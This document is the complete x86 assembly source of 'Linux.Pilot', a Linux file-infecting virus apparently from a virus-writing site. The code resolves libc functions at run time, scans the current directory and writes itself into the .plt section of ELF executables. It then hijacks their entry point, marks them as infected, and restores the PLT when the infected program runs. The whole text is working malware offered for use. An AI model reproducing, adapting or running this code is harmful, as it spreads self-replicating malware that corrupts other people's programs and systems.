Linux.Pilot
herm1t
; Linux.Pilot, alpha, (x) herm1t, 2007 ; This virus implements two features: ; * Resolving and using libc functions ; * It is cavity infector, removing PLT and restoring it ; both at run-time ; http://vx.org.ua/herm1t/ BITS 32 CPU 386 section .text global main ;%define DEBUG %include 'pilot.inc' extern _GLOBAL_OFFSET_TABLE_ extern exit ;;;; old_main: push 0 call exit ; fake PLT align 16 _plt: push dword [_GLOBAL_OFFSET_TABLE_ + 4] jmp dword [_GLOBAL_OFFSET_TABLE_ + 8] dd 0 main: pusha call .l0 .l0: pop ebp sub ebp, (.l0 - main) ; find libc mov ebx, [ebp - 8] ; GOT + 8 mov eax, [ebx] ; GOT[2] - _dl_runtime_resolve or eax, eax jnz .lazy ; address is empty, LD_BIND_NOW is set? ; use GOT[4], hope that this is libc... ; this could be checked mov eax, [ebx + 8] jmp .bnow .lazy: call unwind mov eax, [ecx + 16] ; GOT[4] - address of libc' function .bnow: call unwind ; within interp %macro getdt 2 push %2 push esi call get_from_dyn xchg eax, %1 %endmacro ; now we have ; esi - libc' DYNAMIC ; edi - libc' delta ; ecx - libc' GOT getdt ebx, DT_STRTAB getdt edx, DT_SYMTAB getdt esi, DT_HASH ; no error checking here, if we failed we got fucked anyway (with broken PLT)... ; mov eax, ebx ; and eax, edx ; and eax, esi ; jz near fail ; all is ready for the symbol lookup ; we have the following registers layout: ; eax, ecx - spare ; ebx - libc .dynstr ; edx - libc .dynsym ; esi - libc .hash ; edi - delta between libc' file and memory location ; ebp - start of virus xor ecx, ecx resolve:movzx eax, byte [ebp + O(indexes) + ecx] lea eax, [ebp + O(strings) + eax] push ebx ; .dynstr push edx ; .dynsym push esi ; .hash push eax ; function name call lookup add eax, edi ; delta push eax inc ecx cmp ecx, N_SYMS jb resolve ; now we have addresses of functions in stack ; allocate virus text and data push 0 ; offset push 0 ; fd push MAP_PRIVATE|MAP_ANONYMOUS ; flags push PROT_READ|PROT_WRITE ; prot push 8192 ; length push 0 ; size call [esp + 24 + 8] ; mmap() add esp, 24 xchg eax, ebx ; copy virus body mov esi, ebp mov edi, ebx mov ecx, O(virus_end) rep movsb ; mprotect(virus, virus_length, PROT_READ|PROT_EXEC) push PROT_READ|PROT_EXEC push O(virus_end) push ebx call [esp + 12 + 20] add esp, 12 ; copy addresses mov esi, esp lea edi, [ebx + 4096] push N_SYMS*4 pop ecx rep movsb mov esp, esi ; move control lea eax, [ebx + O(.fixplt)] jmp eax .fixplt: ; restore .plt mov eax, ebp and ax, 0xf000 push PROT_READ|PROT_WRITE push 8192 push eax call mprotect mov edx, dword 0x08049000 first_got equ $-4-main mov esi, dword 0x00000000 first_rel equ $-4-main mov eax, dword 0xffffffe0 mov edi, ebp mov ecx, dword 1 plt_count equ $-4-main .fix: push eax mov ax, 0x25ff stosw mov eax, edx stosd mov al, 0x68 stosb mov eax, esi stosd mov al, 0xe9 stosb pop eax stosd sub eax, 16 add esi, 8 add edx, 4 loop .fix mov byte [esp + 8], PROT_READ|PROT_EXEC call mprotect add esp, 12 %ifdef DEBUG push dword O(virus_end) lea eax, [ebx + O(hello)] push eax call printf add esp, 8 %endif ; ok here we go push 0x2e push esp call opendir add esp, 8 or eax, eax jz fail xchg eax, ecx .find: push ecx call readdir pop ecx or eax, eax jz .done lea eax, [eax + 11] ; d_name push eax call infect jmp .find .done: push ecx call closedir pop ecx fail: popa push old_main old_entry equ $-4-main ret infect: pusha mov eax, [esp + 36] push 2 push eax call open add esp, 8 or eax, eax js .fail mov [ebx + file_handle], eax push 2 push 0 push eax call lseek add esp, 12 mov [ebx + file_length], eax cmp eax,84 jb .close push 0 ; offset push dword [ebx + file_handle] ; handle push MAP_SHARED ; flags push PROT_READ|PROT_WRITE ; prot push eax ; length push 0 ; start call mmap add esp, 24 inc eax jz .close dec eax xchg eax, esi cmp dword [esi], 0x464c457f jne .unmap cmp byte [esi + 15], 0 ; already infected? jne .unmap cmp dword [esi + 16], 0x00030002 ; e_type == ET_EXEC && jne .unmap ; e_machine == EM_386 ; shdr and shnum mov edi, [esi + e_shoff] add edi, esi movzx ecx, word [esi + e_shnum] ; .strtab movzx edx, word [esi + e_shstrndx] ; ehdr->e_shstrndx shl edx, 3 lea edx, [edx * 4 + edx] ; * 40 add edx, edi ; + shdr mov edx, [edx + sh_offset] ; sh_offset add edx, esi ; strtab = m + shdr[ehdr->e_shstrndx].sh_offset ; find PLT section .fplt: mov eax, [edi + sh_name] add eax, edx cmp dword [eax], '.plt' je .found add edi, 40 loop .fplt jmp .unmap .found: mov eax, [edi + sh_addr] add eax, 16 mov [ebx + new_entry], eax ; check section size mov ecx, [edi + sh_size] sub ecx, 16 shr ecx, 4 mov eax, (O(virus_end) + 15) / 16 cmp ecx, eax jb .unmap mov ecx, eax mov edi, [edi + sh_offset] add edi, esi add edi, 16 mov [ebx + plt_ptr], edi ; check that offsets/addreses in PLT entries are contiguos ; this could be enforced or contrarily removed if you sure ; that entries are always sorted xor edx, edx xor ebp, ebp .check: or edx, edx je .first mov eax, [edi + 2] add eax, [edi + 7] sub eax, edx sub eax, ebp cmp eax, 12 jne .unmap .first: or edx, edx mov edx, [edi + 2] mov ebp, [edi + 7] jnz .loop mov [ebx + gotp], edx mov [ebx + orel], ebp mov [ebx + pcnt], ecx .loop: add edi, 16 loop .check ; write virus body pusha mov esi, ebx mov edi, [ebx + plt_ptr] mov ecx, O(virus_end) rep movsb popa ; save PLT's first ptr to GOT, offset in .rel.plt, count, old entry point mov edi, [ebx + plt_ptr] mov eax, [ebx + gotp] mov [edi + first_got], eax mov eax, [ebx + orel] mov [edi + first_rel], eax mov eax, [ebx + pcnt] mov [edi + plt_count], eax mov eax, [esi + e_entry] mov [edi + old_entry], eax ; change entry point, set infection mark mov eax, [ebx + new_entry] mov [esi + e_entry], eax inc byte [esi + 15] .unmap: push dword [ebx + file_length] push esi call munmap pop eax pop eax .close: push dword [ebx + file_handle] call close pop eax .fail: popa retn 4 unwind: push eax call get_base xchg eax, edi push edi call get_dyn_file_base ; or eax, eax ; jz fail xchg eax, esi sub edi, edx ; memory base - file base add esi, edi push DT_PLTGOT push esi call get_from_dyn ; or eax, eax ; jz fail xchg eax, ecx ret ; get_base(addr) - return base address of the loaded ELF file get_base: mov eax, [esp + 4] and ax, 0xf000 .loop: cmp dword [eax + 0], 0x464c457f jne .next ; cmp dword [eax + 4], 0x00010101 ; jne .next retn 4 .next: sub eax, 4096 jmp .loop ; get_from_dyn(DYNAMIC, tag) - return the DYNAMIC entry with given tag get_from_dyn: push esi cld mov esi, [esp + 8] .loop: lodsd or eax, eax jz .done cmp eax, [esp + 12] je .done lodsd jmp .loop .done: lodsd pop esi retn 8 ; uint64_t get_dyn_file_base(elf_file) return VA of DYNAMIC and lowest VA in ELF file get_dyn_file_base: pusha mov esi, [esp + 36] movzx ecx, word [esi + e_phnum] add esi, [esi + e_phoff] xor eax, eax cdq dec edx .loop: mov ebx, [esi + p_type] cmp ebx, PT_LOAD jne .more cmp [esi + p_vaddr], edx jae .more mov edx, [esi + p_vaddr] .more: cmp ebx, PT_DYNAMIC jne .next mov eax, [esi + p_vaddr] .next: add esi, 32 loop .loop inc edx jz .fail dec edx .fail: mov [esp + 28], eax mov [esp + 20], edx popa retn 4 ; elf_hash(name) elf_hash: pusha cld xor eax, eax xor edx, edx ; edx - h mov esi, [esp + 36] ; name .next: lodsb or eax, eax jz .done shl edx, 4 add edx, eax mov ebx, edx and ebx, 0xf0000000 jz .skip mov ecx, ebx shr ecx, 24 xor edx, ecx .skip: not ebx and edx, ebx jmp .next .done: mov [esp + 28], edx popa retn 4 ; lookup(name,hash,dynsym,dynstr) - return st_value of the symbol by name lookup: pusha mov eax, [esp + 36] ; name mov ebx, [esp + 40] ; hash mov ecx, [ebx] ; nbuckets xor edx, edx lea esi, [ebx + 8] ; buckets lea edi, [esi + ecx * 4] ; chains push eax call elf_hash div ecx mov eax, edx mov eax, [esi + eax * 4] .for: or eax, eax jz .return .more: push dword [esp + 36] ; name mov ebx, eax shl ebx, 4 add ebx, [esp + 44 + 4] ; sym[idx] mov ebp, eax mov edx, ebx mov ebx, [ebx] add ebx, [esp + 48 + 4] push ebx call strcmp or eax, eax jnz .next mov eax, [edx + 4] ; st_value .return: mov [esp + 28], eax popa retn 16 .next: mov eax, [edi + ebp * 4] jmp .for ; guess what strcmp: pusha mov ecx, [esp + 36] mov edx, [esp + 40] xor eax, eax .loop: mov al, byte [ecx] cmp al, byte [edx] jne .diff inc edx inc ecx test al, al jnz .loop jmp .ret .diff movzx ecx, byte [edx] sub eax, ecx .ret: mov [esp + 28], eax popa retn 8 ; our PLT-like helpers open: jmp [ebx + 4096 + 0] lseek: jmp [ebx + 4096 + 4] mmap: jmp [ebx + 4096 + 8] close: jmp [ebx + 4096 + 12] munmap: jmp [ebx + 4096 + 16] mprotect: jmp [ebx + 4096 + 20] readdir: jmp [ebx + 4096 + 24] opendir: jmp [ebx + 4096 + 28] closedir: jmp [ebx + 4096 + 32] %ifdef DEBUG printf: jmp [ebx + 4096 + 36] %endif ; our strtab %macro stridx 1-* %rep %0 db %1-strings %rotate 1 %endrep %endmacro indexes: %ifdef DEBUG stridx sa %endif stridx s9,s8,s7,s6,s5,s4,s3,s2,s1 N_SYMS equ $ - indexes strings: s1 db "open", 0 s2 db "lseek", 0 s3 db "mmap", 0 s4 db "close", 0 s5 db "munmap", 0 s6 db "mprotect", 0 s7 db "readdir", 0 s8 db "opendir", 0 s9 db "closedir", 0 %ifdef DEBUG sa db "printf", 0 %endif %if ($ - strings) > 256 %error "String table is too large" %endif %ifdef DEBUG hello db "Linux.PiLoT size = %d", 10, 0 %else db "PiLoT",0 %endif virus_end: resb 4096 data_start equ 4096 + N_SYMS*4 file_handle equ data_start + 0 file_length equ data_start + 4 new_entry equ data_start + 8 plt_ptr equ data_start + 12 gotp equ data_start + 16 orel equ data_start + 20 pcnt equ data_start + 20 ;